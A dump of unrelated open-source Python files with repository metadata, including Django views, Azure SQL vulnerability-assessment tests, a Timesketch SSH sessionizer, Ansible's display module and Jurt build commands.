form = ProfileForm(initial = {
'first_name': request.user.first_name,
'last_name': request.user.last_name,
'email': request.user.email,
})
return render_to_response('django_rpx_plus/profile.html', {
'form': form,
'user': request.user,
},
context_instance = RequestContext(request))
def get_latest_comments(count = 4):
""" Returns the latest comments."""
comments = Comment.objects.filter(is_public = True).order_by('-submit_date')[:count]
return comments |
dash-dash/AutobahnPython | examples/asyncio/wamp/overview/backend.py | Python | mit | 1,072 | 0.001866 | from os import environ
import asyncio
from autobahn.asyncio.wamp import ApplicationSession, ApplicationRunner
class MyComponent(ApplicationSession):
@asyncio.coroutine
def onJoin(self, details):
# a remote procedure; see frontend.py for a Python front-end
# that calls this. Any language with WAMP bindings can now call
# this procedure if its connected to the same router and realm.
def add2(x, y):
return x + y
yield from self.register(add2, 'com.myapp.add2');
# publish an event every second. The event payloads can be
# anything JSON- and msgpack- serializable
while True:
self.publish('com.myapp.hello', 'Hello, world!')
yield from asyncio.sleep(1)
if __name__ == '__main__':
runner = ApplicationRunner(
environ.get("AUTOBAHN_DEMO_ROUTER", "ws://localhost:8080/ws"),
u"crossbardemo",
debug_wamp=False, # optional; log many WAMP de | tails
debug=False, # optional; log even more details
)
ru | nner.run(MyComponent)
|
iaz3/ModParser | modparser/__init__.py | Python | gpl-3.0 | 983 | 0.001017 | # !/usr/ | bin/env python3
"""
Custom Bi Directional Binary Data Parser
ModParser
"""
# ====================== GPL License and Copyright Notice ======================
# This file is part of ModParser
# Copyright (C) 2017 Diana Land
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published | by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with ModReader. If not, see <http://www.gnu.org/licenses/>.
#
# https://github.com/iaz3/ModParser
#
# =============================================================================
|
mfraezz/osf.io | admin_tests/nodes/test_serializers.py | Python | apache-2.0 | 1,496 | 0.000668 | from nose.tools import * # noqa: F403
from tests.base import AdminTestCase
from osf_tests.factories import NodeFactory, UserFactory
from osf.utils.permissions import ADMIN
from admin.nodes.serializers import serialize_simple_user_and_node_permissions, serialize_node
class TestNodeSerializers(AdminTestCase):
def test_serialize_node(self):
node = NodeFactory()
info = serialize_node(node)
assert_is_instance(info, dict)
assert_equal(info['parent'], node.parent_id)
assert_equal(info['title'], node.title)
assert_equal(info['children'], [])
| assert_equal(info['id'], node._id)
assert_equal(info['public'], node.is_public)
assert_equal(len(info['contributors']), 1)
assert_false(info['deleted'])
def test_serialize_deleted(self):
node = NodeFactory()
info = serialize_node(node)
assert_false(info['deleted'])
node.is_deleted = True
info = serialize_node(node)
assert_true(info['deleted'])
node.is_deleted = False
info = serialize_node(node)
| assert_false(info['deleted'])
def test_serialize_simple_user(self):
user = UserFactory()
node = NodeFactory(creator=user)
info = serialize_simple_user_and_node_permissions(node, user)
assert_is_instance(info, dict)
assert_equal(info['id'], user._id)
assert_equal(info['name'], user.fullname)
assert_equal(info['permission'], ADMIN)
|
Samsung/ADBI | arch/arm64/tests/a64_blr.py | Python | apache-2.0 | 1,719 | 0.006981 | import random
from common import *
class test_a64_blr(TemplateTest):
def gen_rand(self):
while True:
yield {'reg': random.choice(GPREGS64 + ['x30']),
'label_idx': random.randint(0, self.__label_count - 1)}
def __init__(self):
self.__label_count = 8
self.symbols = [ __name__ + '_addr_' + str(i) for i in xrange(self.__label_count) ]
self.randvals = random.sample(xrange(0, 0xfffffffffffffff), self.__label_count)
def test_begin(self):
yield ' .arch armv8-a'
yield ' .align 2'
yield ' .text'
for i in xrange(0, len(self.symbols), 2):
yield self.symbols[i] + ':'
yield ' ldr\t\tx0, ={0}'.format(hex(self.randvals[i]))
yield ' mov\t\tx1, x30'
yield ' ret'
yield ' .skip %d' % random.randrange(512, 2048, 4)
def gen_testcase(self, nr, reg, label_idx):
label = self.symbols[label_idx]
ret_label = self.testcase_name(nr) + '_ret'
state = ProcessorState(setreg={reg:label}, reserve=['x0', 'x1'], store=['x30'])
yield state.prepare()
yield self.testcase_insn(nr, 'blr\t\t{0}'.format(reg))
yield ret_label + ':'
yield state.check({'x0':self.randvals[l | abel_idx],
| 'x1':ret_label})
yield state.restore()
def test_end(self):
for i in xrange(1, len(self.symbols), 2):
yield ' .skip %d' % random.randrange(512, 2048, 4)
yield self.symbols[i] + ':'
yield ' ldr\t\tx0, ={0}'.format(hex(self.randvals[i]))
yield ' mov\t\tx1, x30'
yield ' ret'
|
Azure/azure-sdk-for-python | sdk/sql/azure-mgmt-sql/tests/test_cli_mgmt_sql_vulnerability_assessment.py | Python | mit | 18,092 | 0.006356 | # coding: utf-8
#-------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#--------------------------------------------------------------------------
# Current Operation Coverage:
# DatabaseVulnerabilityAssessmentRuleBaselines: 0/3
# DatabaseVulnerabilityAssessments: 4/4
# ServerVulnerabilityAssessments: 4/4
# ManagedDatabaseVulnerabilityAssessmentRuleBaselines: 0/3
# ManagedDatabaseVulnerabilityAssessments: 4/4
# ManagedInstanceVulnerabilityAssessments: 4/4
import unittest
import azure.mgmt.sql
from devtools_testutils import AzureMgmtTestCase, RandomNameResourceGroupPreparer
AZURE_LOCATION = 'eastus'
class MgmtSqlTest(AzureMgmtTestCase):
def setUp(self):
super(MgmtSqlTest, self).setUp()
self.mgmt_client = self.create_mgmt_client(
azure.mgmt.sql.SqlManagementClient
)
if self.is_live:
from azure.mgmt.storage import StorageManagementClient
self.storage_client = self.create_mgmt_client(
StorageManagementClient
)
def create_blob_container(self, location, group_name, account_name, container_name):
# StorageAccountCreate[put]
BODY = {
"sku": {
"name": "Standard_GRS"
},
"kind": "StorageV2",
"location": location,
"encryption": {
"services": {
"file": {
"key_type": "Account",
"enabled": True
},
"blob": {
"key_type": "Account",
"enabled": True
}
},
"key_source": "Microsoft.Storage"
},
"tags": {
"key1": "value1",
"key2": "value2"
}
}
result = self.storage_client.storage_accounts.begin_create(group_name, account_name, BODY)
storageaccount = result.result()
# PutContainers[put]
result = self.storage_client.blob_containers.create(group_name, account_name, container_name, {})
# StorageAccountRegenerateKey[post]
BODY = {
"key_name": "key2"
}
key = self.storage_client.storage_accounts.regenerate_key(group_name, account_name, BODY)
return key.keys[0].value
@unittest.skip('hard to test')
def test_managed_vulnerability_assessment(self):
RESOURCE_GROUP = "testManagedInstance"
MANAGED_INSTANCE_NAME = "testinstancexxy"
DATABASE_NAME = "mydatabase"
STORAGE_ACCOUNT_NAME = "mystorageaccountxydb"
BLOB_CONTAINER_NAME = "myblobcontainer"
VULNERABILITY_ASSESSMENT_NAME = "default"
if self.is_live:
ACCESS_KEY = self.create_blob_container(AZURE_LOCATION, RESOURCE_GROUP, STORAGE_ACCOUNT_NAME, BLOB_CONTAINER_NAME)
else:
ACCESS_KEY = "accesskey"
#--------------------------------------------------------------------------
# /ManagedDatabases/put/Creates a new managed database with minimal properties[put]
#--------------------------------------------------------------------------
BODY = {
"location": AZURE_LOCATION
}
result = self.mgmt_client.managed_databases.begin_create_or_update(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME, database_name=DATABASE_NAME, parameters=BODY)
result = result.result()
#--------------------------------------------------------------------------
# /ManagedInstanceVulnerabilityAssessments/put/Create a managed instance's vulnerability assessment with minimal parameters, when storageContainerSasKey is specified[put]
#--------------------------------------------------------------------------
BODY = {
"storage_container_path": "https://" + STORAGE_ACCOUNT_NAME + ".blob.core.windows.net/" + BLOB_CONTAINER_NAME + "/",
"storage_account_access_key": ACCESS_KEY
}
result = self.mgmt_client.managed_instance_vulnerability_assessments.create_or_update(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME, vulnerability_assessment_name=VULNERABILITY_ASSESSMENT_NAME, parameters=BODY)
#--------------------------------------------------------------------------
# /ManagedDatabaseVulnerabilityAssessments/put/Create a database's vulnerability assessment with minimal parameters[put]
#--------------------------------------------------------------------------
BODY = {
"storage_container_path": "https://" + STORAGE_ACCOUNT_NAME + ".blob.core.windows.net/" + BLOB_CONTAINER_NAME + "/",
"storage_account_access_key": ACCESS_KEY
| }
result = self.mgmt_client.managed_dat | abase_vulnerability_assessments.create_or_update(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME, database_name=DATABASE_NAME, vulnerability_assessment_name=VULNERABILITY_ASSESSMENT_NAME, parameters=BODY)
#--------------------------------------------------------------------------
# /ManagedInstanceVulnerabilityAssessments/get/Get a managed instance's vulnerability assessment[get]
#--------------------------------------------------------------------------
result = self.mgmt_client.managed_instance_vulnerability_assessments.get(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME, vulnerability_assessment_name=VULNERABILITY_ASSESSMENT_NAME)
#--------------------------------------------------------------------------
# /ManagedDatabaseVulnerabilityAssessments/get/Get a database's vulnerability assessment[get]
#--------------------------------------------------------------------------
result = self.mgmt_client.managed_database_vulnerability_assessments.get(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME, database_name=DATABASE_NAME, vulnerability_assessment_name=VULNERABILITY_ASSESSMENT_NAME)
#--------------------------------------------------------------------------
# /ManagedInstanceVulnerabilityAssessments/get/Get a managed instance's vulnerability assessment policies[get]
#--------------------------------------------------------------------------
result = self.mgmt_client.managed_instance_vulnerability_assessments.list_by_instance(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME)
#--------------------------------------------------------------------------
# /ManagedDatabaseVulnerabilityAssessments/get/Get a database's vulnerability assessments list[get]
#--------------------------------------------------------------------------
result = self.mgmt_client.managed_database_vulnerability_assessments.list_by_database(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME, database_name=DATABASE_NAME)
#--------------------------------------------------------------------------
# /ManagedInstanceVulnerabilityAssessments/delete/Remove a managed instance's vulnerability assessment[delete]
#--------------------------------------------------------------------------
result = self.mgmt_client.managed_instance_vulnerability_assessments.delete(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME, vulnerability_assessment_name=VULNERABILITY_ASSESSMENT_NAME)
#--------------------------------------------------------------------------
# /ManagedDatabaseVulnerabilityAssessments/delete/Remove a database's vulnerability assessment[delete]
#--------------------------------------------------------------------------
result = self.mgmt_client.managed_database_vulnerability_assessments.delete(resource_group_name=RESOURCE_GROUP, managed_instance_name=MANAGED_INSTANCE_NAME, database_name=DATABASE_NAME, vulnerability_assessment_name=VULNERABILITY_ASSESSMENT_NAME)
#--------------------------------------------------------------------------
# /ManagedDatabases/delete/Delete |
DevHugo/zds-site | zds/tutorialv2/models/models_versioned.py | Python | gpl-3.0 | 45,439 | 0.002665 | # coding: utf-8
import json as json_writer
from git import Repo
import os
import shutil
import codecs
from django.conf import settings
from django.core.exceptions import PermissionDenied
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _
from zds.settings import ZDS_APP
from zds.tutorialv2.utils import default_slug_pool, export_content, get_commit_author, InvalidOperationError
from uuslug import slugify
from zds.utils.misc import compute_hash
from zds.tutorialv2.utils import get_blob, InvalidSlugError, check_slug
class Container:
"""
A container, which can have sub-Containers or Extracts.
A Container has a title, a introduction and a conclusion, a parent (which can be None) and a position into this
parent (which is 1 by default).
It has also a tree depth.
A container could be either a tutorial/article, a part or a chapter.
"""
title = ''
slug = ''
introduction = None
conclusion = None
parent = None
position_in_parent = 1
children = []
children_dict = {}
slug_pool = {}
def __init__(self, title, slug='', parent=None, position_in_parent=1):
"""Initialize the data model that will handle the dialog with raw versionned data at level container
:param title: container title (str)
:param slug: container slug (basicaly slugify(title))
:param parent: container parent (None if this container is the root container)
:param position_in_parent: the display order
:return:
"""
self.title = title
self.slug = slug
self.parent = parent
self.position_in_parent = position_in_parent
self.children = [] # even if you want, do NOT remove this line
self.children_dict = {}
self.slug_pool = default_slug_pool()
def __unicode__(self):
return u'<Conteneur \'{}\'>'.format(self.title)
def has_extracts(self):
"""Note : this function rely on the fact that the children can only be of one type.
:return: `True` if the container has extract as children, `False` otherwise.
:rtype: bool
"""
if len(self.children) == 0:
return False
return isinstance(self.children[0], Extract)
def has_sub_containers(self):
"""Note : this function rely on the fact that the children can only be of one type.
:return: ``True`` if the container has containers as children, ``False`` otherwise.
:rtype: bool
"""
if len(self.children) == 0:
return False
return isinstance(self.children[0], Container)
def get_last_child_position(self):
"""
:return: the position of the last child
:type: int
"""
return len(self.children)
def get_tree_depth(self):
"""Represent the depth where this container is found
Tree depth is no more than 2, because there is 3 levels for Containers :
- PublishableContent (0),
- Part (1),
- Chapter (2)
.. attention::
that ``max_tree_depth`` is ``2`` to ensure that there is no more than 3 levels
:return: Tree depth
:rtype: int
"""
depth = 0
current = self
while current.parent is not None:
current = current.parent
depth += 1
return depth
def get_tree_level(self):
"""Represent the level in the tree of this container, i.e the depth of its deepest child
:return: tree level
:rtype: int
"""
if len(self.children) == 0:
return 1
elif isin | stance(self.children[0], Extract):
return 2
else:
return 1 + max([i.get_tree_level() for i in self.children])
def has_child | _with_path(self, child_path):
"""Check that the given path represent the full path
of a child of this container.
:param child_path: the full path (/maincontainer/subc1/subc2/childslug) we want to check
:return: ``True`` if child is found, ``False`` otherwise
:rtype: bool
"""
if self.get_path(True) not in child_path:
return False
return child_path.replace(self.get_path(True), "").replace("/", "") in self.children_dict
def top_container(self):
"""
:return: Top container (for which parent is ``None``)
:rtype: VersionedContent
"""
current = self
while current.parent is not None:
current = current.parent
return current
def get_unique_slug(self, title):
"""Generate a slug from title, and check if it is already in slug pool. If it is the case, recursively add a
"-x" to the end, where "x" is a number starting from 1. When generated, it is added to the slug pool.
Note that the slug cannot be larger than `settings.ZDS_APP['content']['max_slug_size']`, due to maximum file
size limitation.
:param title: title from which the slug is generated (with ``slugify()``)
:return: the unique slug
:rtype: str
"""
base = slugify(title)
if not check_slug(base):
raise InvalidSlugError(base, source=title)
if len(base) > settings.ZDS_APP['content']['maximum_slug_size'] - 5:
# "-5" gives possibility to add "-xxxx" (up to 9999 possibility should be enough !)
base = base[:settings.ZDS_APP['content']['maximum_slug_size']] - 5
find_slug = False
new_slug = base
while not find_slug: # will run until a new slug is found !
try:
n = self.slug_pool[base]
except KeyError:
self.slug_pool[base] = 1
find_slug = True
else:
new_slug = base + '-' + str(n)
self.slug_pool[base] += 1
if new_slug not in self.slug_pool:
self.slug_pool[new_slug] = 1
find_slug = True
return new_slug
def add_slug_to_pool(self, slug):
"""Add a slug to the slug pool to be taken into account when generate a unique slug
:param slug: the slug to add
:raise InvalidOperationErrpr: if the slug already exists
"""
try:
self.slug_pool[slug] # test access
except KeyError:
self.slug_pool[slug] = 1
else:
raise InvalidOperationError(
_(u'Le slug « {} » est déjà présent dans le conteneur « {} »').format(slug, self.title))
def long_slug(self):
"""
:return: a long slug that embed slugs of parents
:rtype: str
"""
long_slug = ''
if self.parent:
long_slug = self.parent.long_slug() + '__'
return long_slug + self.slug
def can_add_container(self):
"""
:return: ``True`` if this container accept child container, ``False`` otherwise
:rtype: bool
"""
if not self.has_extracts():
if self.get_tree_depth() < ZDS_APP['content']['max_tree_depth'] - 1:
if not self.top_container().is_article:
return True
return False
def can_add_extract(self):
""" check that this container can get extract, i.e has no container and is not too deep
:return: ``True`` if this container accept child extract, ``False`` otherwise
:rtype: bool
"""
if not self.has_sub_containers():
if self.get_tree_depth() <= ZDS_APP['content']['max_tree_depth']:
return True
return False
def add_container(self, container, generate_slug=False):
"""Add a child Container, but only if no extract were previously added and tree depth is < 2.
.. attention::
this function will also raise an Exception if article, because it cannot contain child container
:param container: the new container
:param generate_slug: if ``True``, ask the top container an unique slug for this object
:raises InvalidOperationError: if cann |
google/timesketch | timesketch/lib/analyzers/ssh_sessionizer.py | Python | apache-2.0 | 3,925 | 0.003567 | """SSH sessionizing sketch analyzer plugin."""
from __future__ import unicode_literals
import re
from timesketch.lib.analyzers import manager
from timesketch.lib.analyzers import sessionizer
# Pattern for SSH events message:
# '[sshd] [{process_id}]: {message}'
SSH_PATTERN = re.compile(r'^\[sshd\] \[(?P<process_id>\d+)\]:')
# pylint: disable=line-too-long
# Pattern for message of SSH events for successful connection to port (rdomain is optional):
# '[sshd] [{process_id}]: Connection from {client_ip} port {client_port} on {host_ip} port {host_port} rdomain {rdomain}'
#
# The SSH_CONNECTION_PATTERN is compatible with IPv4
# TODO Change the pattern to be compatible also with IPv6
SSH_CONNECTION_PATTERN = \
re.compile(r'^\[sshd\] \[(?P<process_id>\d+)\]: Connection from ' + \
r'(?P<client_ip>(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)) ' + \
r'port (?P<client_port>\d+) on ' + \
r'(?P<host_ip>(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)) ' + \
r'port (?P<host_port>\d+)' + \
r'( rdomain (?P<rdomain>.*))?$')
class SSHSessionizerSketchPlugin(sessionizer.SessionizerSketchPlugin):
"""SSH sessionizing sketch analyser.
The SSH sessionizer is labeling all events from a SSH connection with
the client's IP address and port.
Two SSH event are part of the same SSH connection if they have the same
process ID, which can be find in the message of a SSH event.
TODO Some SSH events that are a part of a SSH connection are not labelled
because they have different process ID. This can be fixed by adding the new
process ID to started_sessions_ids with the value as the session id of the
process from which the new process wa | s created.
"""
NAME = 'ssh_ | sessionizer'
DISPLAY_NAME = 'SSH sessions'
DESCRIPTION = 'SSH sessions based on client IP address and port number'
query = 'reporter:"sshd"'
session_num = 0
session_type = 'ssh_session'
def run(self):
"""Entry point for the analyzer.
Allocates events from a SSH connection with a ssh_session attribute.
Returns:
String containing the number of sessions created.
"""
return_fields = ['message']
# event_stream returns an ordered generator of events (by time)
# therefore no further sorting is needed.
events = self.event_stream(query_string=self.query,
return_fields=return_fields)
# Dictionary storing the session IDs about the started SSH sessions.
started_sessions_ids = {}
for event in events:
event_message = event.source.get('message')
connection_match = SSH_CONNECTION_PATTERN.match(event_message)
if connection_match:
process_id = connection_match.group('process_id')
client_ip = connection_match.group('client_ip')
client_port = connection_match.group('client_port')
session_id = '{0:s}_{1:s}'.format(client_ip, client_port)
started_sessions_ids[process_id] = session_id
self.session_num += 1
ssh_match = SSH_PATTERN.match(event_message)
if ssh_match:
process_id = ssh_match.group('process_id')
if process_id in started_sessions_ids.keys():
self.annotateEvent(event, started_sessions_ids[process_id])
if self.session_num:
self.sketch.add_view(
'SSH sessions',
self.NAME,
query_string='session_id.{0:s}:*'.format(self.session_type))
return ('Sessionizing completed, number of {0:s} sessions created:'
' {1:d}'.format(self.session_type, self.session_num))
manager.AnalysisManager.register_analyzer(SSHSessionizerSketchPlugin)
|
camradal/ansible | lib/ansible/utils/display.py | Python | gpl-3.0 | 11,938 | 0.002429 | # (c) 2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You | should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import fcntl
import textwrap
import os
import random
import subprocess
import sys
import time
import locale
import logging
import getpass
import errno
from struct import unpack, pack
from termios import TIOCGWINSZ
from ansible import constants a | s C
from ansible.errors import AnsibleError
from ansible.utils.color import stringc
from ansible.module_utils._text import to_bytes, to_text
try:
# Python 2
input = raw_input
except NameError:
# Python 3, we already have raw_input
pass
logger = None
#TODO: make this a logging callback instead
if C.DEFAULT_LOG_PATH:
path = C.DEFAULT_LOG_PATH
if (os.path.exists(path) and os.access(path, os.W_OK)) or os.access(os.path.dirname(path), os.W_OK):
logging.basicConfig(filename=path, level=logging.DEBUG, format='%(asctime)s %(name)s %(message)s')
mypid = str(os.getpid())
user = getpass.getuser()
logger = logging.getLogger("p=%s u=%s | " % (mypid, user))
else:
print("[WARNING]: log file at %s is not writeable and we cannot create it, aborting\n" % path, file=sys.stderr)
b_COW_PATHS = (b"/usr/bin/cowsay",
b"/usr/games/cowsay",
b"/usr/local/bin/cowsay", # BSD path for cowsay
b"/opt/local/bin/cowsay", # MacPorts path for cowsay
)
class Display:
def __init__(self, verbosity=0):
self.columns = None
self.verbosity = verbosity
# list of all deprecation messages to prevent duplicate display
self._deprecations = {}
self._warns = {}
self._errors = {}
self.b_cowsay = None
self.noncow = C.ANSIBLE_COW_SELECTION
self.set_cowsay_info()
if self.b_cowsay:
try:
cmd = subprocess.Popen([self.b_cowsay, "-l"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(out, err) = cmd.communicate()
self.cows_available = set([ to_text(c) for c in out.split() ])
if C.ANSIBLE_COW_WHITELIST:
self.cows_available = set(C.ANSIBLE_COW_WHITELIST).intersection(self.cows_available)
except:
# could not execute cowsay for some reason
self.b_cowsay = False
self._set_column_width()
def set_cowsay_info(self):
if not C.ANSIBLE_NOCOWS:
for b_cow_path in b_COW_PATHS:
if os.path.exists(b_cow_path):
self.b_cowsay = b_cow_path
def display(self, msg, color=None, stderr=False, screen_only=False, log_only=False):
""" Display a message to the user
Note: msg *must* be a unicode string to prevent UnicodeError tracebacks.
"""
nocolor = msg
if color:
msg = stringc(msg, color)
if not log_only:
if not msg.endswith(u'\n'):
msg2 = msg + u'\n'
else:
msg2 = msg
msg2 = to_bytes(msg2, encoding=self._output_encoding(stderr=stderr))
if sys.version_info >= (3,):
# Convert back to text string on python3
# We first convert to a byte string so that we get rid of
# characters that are invalid in the user's locale
msg2 = to_text(msg2, self._output_encoding(stderr=stderr), errors='replace')
if not stderr:
fileobj = sys.stdout
else:
fileobj = sys.stderr
fileobj.write(msg2)
try:
fileobj.flush()
except IOError as e:
# Ignore EPIPE in case fileobj has been prematurely closed, eg.
# when piping to "head -n1"
if e.errno != errno.EPIPE:
raise
if logger and not screen_only:
msg2 = nocolor.lstrip(u'\n')
msg2 = to_bytes(msg2)
if sys.version_info >= (3,):
# Convert back to text string on python3
# We first convert to a byte string so that we get rid of
# characters that are invalid in the user's locale
msg2 = to_text(msg2, self._output_encoding(stderr=stderr))
if color == C.COLOR_ERROR:
logger.error(msg2)
else:
logger.info(msg2)
def v(self, msg, host=None):
return self.verbose(msg, host=host, caplevel=0)
def vv(self, msg, host=None):
return self.verbose(msg, host=host, caplevel=1)
def vvv(self, msg, host=None):
return self.verbose(msg, host=host, caplevel=2)
def vvvv(self, msg, host=None):
return self.verbose(msg, host=host, caplevel=3)
def vvvvv(self, msg, host=None):
return self.verbose(msg, host=host, caplevel=4)
def vvvvvv(self, msg, host=None):
return self.verbose(msg, host=host, caplevel=5)
def debug(self, msg):
if C.DEFAULT_DEBUG:
self.display("%6d %0.5f: %s" % (os.getpid(), time.time(), msg), color=C.COLOR_DEBUG)
def verbose(self, msg, host=None, caplevel=2):
if self.verbosity > caplevel:
if host is None:
self.display(msg, color=C.COLOR_VERBOSE)
else:
self.display("<%s> %s" % (host, msg), color=C.COLOR_VERBOSE, screen_only=True)
def deprecated(self, msg, version=None, removed=False):
''' used to print out a deprecation message.'''
if not removed and not C.DEPRECATION_WARNINGS:
return
if not removed:
if version:
new_msg = "[DEPRECATION WARNING]: %s.\nThis feature will be removed in version %s." % (msg, version)
else:
new_msg = "[DEPRECATION WARNING]: %s.\nThis feature will be removed in a future release." % (msg)
new_msg = new_msg + " Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.\n\n"
else:
raise AnsibleError("[DEPRECATED]: %s.\nPlease update your playbooks." % msg)
wrapped = textwrap.wrap(new_msg, self.columns, replace_whitespace=False, drop_whitespace=False)
new_msg = "\n".join(wrapped) + "\n"
if new_msg not in self._deprecations:
self.display(new_msg.strip(), color=C.COLOR_DEPRECATE, stderr=True)
self._deprecations[new_msg] = 1
def warning(self, msg, formatted=False):
if not formatted:
new_msg = "\n[WARNING]: %s" % msg
wrapped = textwrap.wrap(new_msg, self.columns)
new_msg = "\n".join(wrapped) + "\n"
else:
new_msg = "\n[WARNING]: \n%s" % msg
if new_msg not in self._warns:
self.display(new_msg, color=C.COLOR_WARN, stderr=True)
self._warns[new_msg] = 1
def system_warning(self, msg):
if C.SYSTEM_WARNINGS:
self.warning(msg)
def banner(self, msg, color=None, cows=True):
'''
Prints a header-looking line with cowsay or stars wit hlength depending on terminal width (3 minimum)
'''
if self.b_cowsay and cows:
try:
self.banner_cowsay(msg)
return
except OSError:
self.warning("somebody cleverly deleted cowsay or something during the PB run. heh.")
msg = msg.strip()
star_len = s |
bhdn/jurt | jurtlib/command.py | Python | gpl-2.0 | 14,645 | 0.004575 | #
# Copyright (c) 2011,2012 Bogdano Arendartchuk <bogdano@mandriva.com.br>
#
# Written by Bogdano Arendartchuk <bogdano@mandriva.com.br>
#
# This file is part of Jurt Build Bot.
#
# Jurt Build Bot is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as published
# by the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# Jurt Build Bot is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Jurt Build Bot; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
import sys
import os
import optparse
import logging
import time
from jurtlib import Error
from jurtlib.config import JurtConfig
from jurtlib.facade import JurtFacade
class CliError(Error):
pass
class DontGetInTheWayFormatter(optparse.IndentedHelpFormatter):
"""Class only intended to go around the crappy text wrapper"""
def format_description(self, description):
if not description.endswith("\n"):
return description + "\n"
return description
class JurtCommand(object):
descr = "The base jurt command."
usage = "[options] [args]"
def create_parser(self):
parser = optparse.OptionParser(formatter=DontGetInTheWayFormatter())
return parser
def init_parser(self, parser):
def parse_option(option, opt_str, value, parser, *args, **kwargs):
kv = value.split("=", 1)
if len(kv) != 2:
raise optparse.OptionValueError, "-o accepts values only in "\
"the name=value form"
levels = kv[0].split(".")
lastv = kv[1]
for name in levels[:0:-1]:
lastv = {name: lastv}
if levels[0] in parser.values.config_options:
parser.values.config_options[levels[0]].update(lastv)
else:
parser.values.config_options[levels[0]] = lastv
parser.set_usage(self.usage)
parser.set_description(self.descr)
parser.set_defaults(config_options={})
parser.add_option("-v", "--verbose", action="store_true", default=False)
parser.add_option("-q", "--quiet", action="store_true", default=False)
parser.add_option("-o", "--option", type="string", action="callback",
callback=parse_option,
help="set one configuration option in the form opt=val")
def parse_args(self, parser, args):
return parser.parse_args(args)
def create_config(self):
config = JurtConfig()
return config
def update_config(self, config, opts, args):
config.merge(opts.config_options)
def config_files(self, config):
if os.path.exists(config.conf.system_file):
yield config.conf.system_file
envconf = os.getenv(config.conf.path_environment)
if envconf is not None and os.path.exists(envconf):
yield envconf
userconf = os.path.expanduser(config.conf.user_file)
if os.path.exists(userconf):
yield userconf
def load_config_files(self, config):
for path in self.config_files(config):
config.load(path)
def setup_logging(self, config, opts, args):
if opts.verbose:
level = logging.DEBUG
elif opts.quiet:
level = logging.WARN
else:
level = logging.INFO
# had to change the syntax in order to not conflict with
# configparser
format = config.jurt.log_format.replace("$", "%")
logging.basicConfig(level=level, format=format)
def run(self, tasks):
print "Done."
def main(self):
try:
parser = self.create_parser()
config = self.create_config()
self.init_parser(parser)
opts, args = self.parse_args(parser, sys.argv[1:])
self.load_config_files(config)
self.update_config(config, opts, args)
self.setup_logging(config, opts, args)
jurt = JurtFacade(config)
self.config = config
self.opts = opts
self.args = args
self.jurt = jurt
self.run()
except Error, e:
sys.stderr.write("error: %s\n" % (e))
sys.exit(2)
except KeyboardInterrupt:
sys.stderr.write("interrupted\n")
class Shell(JurtCommand):
usage = "%prog -t TARGET [-l] [-i|-n root-id]"
descr = """\
Creates a root and drops into a shell.
(Notice you can also use jurt-build --stop)
"""
def init_parser(self, parser):
JurtCommand.init_parser(self, parser)
parser.add_option("-t", "--target", type="string",
help="Target root name (jurt-list-targets for a list)")
parser.add_option("-i", "--id", default=None,
help=("Enter in an (supposedly) existing root named "
"ID (see -l)"))
parser.add_option("-l", "--latest", default=False,
action="store_true",
help="Use the latest created root")
parser.add_option("-n", "--newid", default=None, metavar="ID",
help=("Set the name of the root to be created "
"(so that it can be reused with -i ID)"))
def run(self):
if sum((self.opts.latest, bool(self.opts.id),
bool(self.opts.newid))) > 1:
raise CliError, "-i, -n and -l cannot be used together"
fresh = True
id = None
if self.opts.id:
fresh = False
id = self.opts.id
if self.opts.latest:
id = "latest"
fresh = False
elif self.opts.newid:
id = self.opts.newid
# else: fresh = True
self.jurt.shell(self.opts.target, id, fresh)
class Build(JurtCommand):
usage = "%prog -t TARGET file.src.rpm..."
descr = """Builds a set of packages
Built packages will be added into a temporary repository so that they can
be used as build dependencies by those that are processed | afterwards.
To list the targets, use jurt-list-targets.
To see the configuration used by jurt, use jurt-showrc.
Also, jurt-root-command should be able to use sudo for running commands as
root. Run jurt-test-sudo for checking whether it is properly configured.
"""
def init_parser(self, parser | ):
JurtCommand.init_parser(self, parser)
parser.add_option("-t", "--target", type="string",
help="Target packages are built for")
